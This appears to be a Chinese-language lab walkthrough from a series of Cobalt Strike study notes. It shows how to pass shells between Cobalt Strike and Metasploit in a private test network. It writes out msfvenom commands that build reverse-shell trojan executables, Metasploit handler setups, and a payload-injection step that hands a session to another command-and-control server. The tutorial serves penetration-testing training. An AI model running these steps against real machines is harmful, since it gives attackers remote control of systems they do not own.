CobaltStrike系列學習筆記——(三)與metasploit互相派生shell
實驗環境 | 系統 | IP地址 |
---|---|---|
CobaltStrike(服務器/客戶端) | kali | 192.168.134.130 |
靶機 | win7 | 192.168.134.135 |
MSF | kali | 192.168.134.138 |
Cobalt strike派生shell給MSF
前提條件:已經獲得一個CobaltStrike shell。(關於Cobalt strike shell如何獲得這裏不再贅述,可參考第一節的內容)
首先在metasploit處創建一個handler:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.134.138
set lport 7777
exploit
在Listeners下點擊Add新建一個New Listener,按照下圖填寫,點擊Save保存設置。
payload選擇windows/foreign/reverse_tcp
host設置爲msf的host
port設置爲創建msf的handler時的port
選中session,右鍵->Spawn。
選擇msf這個listenner,點擊Choose。
再來看看msf這邊,已經收到了派生過來的shell。
嘗試執行命令試試:
MSF派生shell給Cobalt strike
使用下列命令生成一個Windows下反彈shell木馬:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.134.138 lport=4444 -f exe -o shell.exe
這裏介紹一下Meterpreter中常用的反彈類型:
1.reverse_tcp
這是一個基於TCP的反向鏈接反彈shell, 使用起來很穩定。
(1)Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f elf -o 要生成的文件名
(2)Windows:
msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f exe -o 要生成的文件名
2.reverse_http
基於http方式的反向連接,在網速慢的情況下不穩定。
3.reverse_https
基於https方式的反向連接,在網速慢的情況下不穩定, https如果反彈沒有收到數據,可以將監聽端口換成443試試。
4.bind_tcp
這是一個基於TCP的正向連接shell,因爲在內網跨網段時無法連接到attack的機器,所以在內網中經常會使用,不需要設置LHOST。
引自:https://www.cnblogs.com/backlion/p/9484949.html
如圖我們可以看見目錄下已經成功生成木馬文件shell.exe:
使用模塊handler,設置payload(注意:這裏設置的payload要和我們生成木馬所使用的payload一樣),地址和端口,我們就開始監聽了:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.134.138
set lport 4444
exploit
把shell.exe拷貝到靶機上,使用cmd命令行運行木馬:
回到MSF上,可以發現成功反彈回shell了,執行命令成功:
在cobaltstrike上創建一個新的Listeners,用於接收msf派生的shell:在Listeners下點擊Add新建一個New Listener,按照下圖填寫,點擊Save保存設置。
回到msf,將當前session切換到後臺,然後使用下圖的模塊,功能是注入一個新的payload 到當前的session裏面,同樣需要設置payload(注意:這裏設置的payload要和我們cs上創建的listener對應),地址和端口,並且還要選擇選擇session:
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost 192.168.134.130
set lport 6666
set session 1
exploit
再看看cobalt strike,此時在cobalt strike上已經拿到了metasploit派生的shell: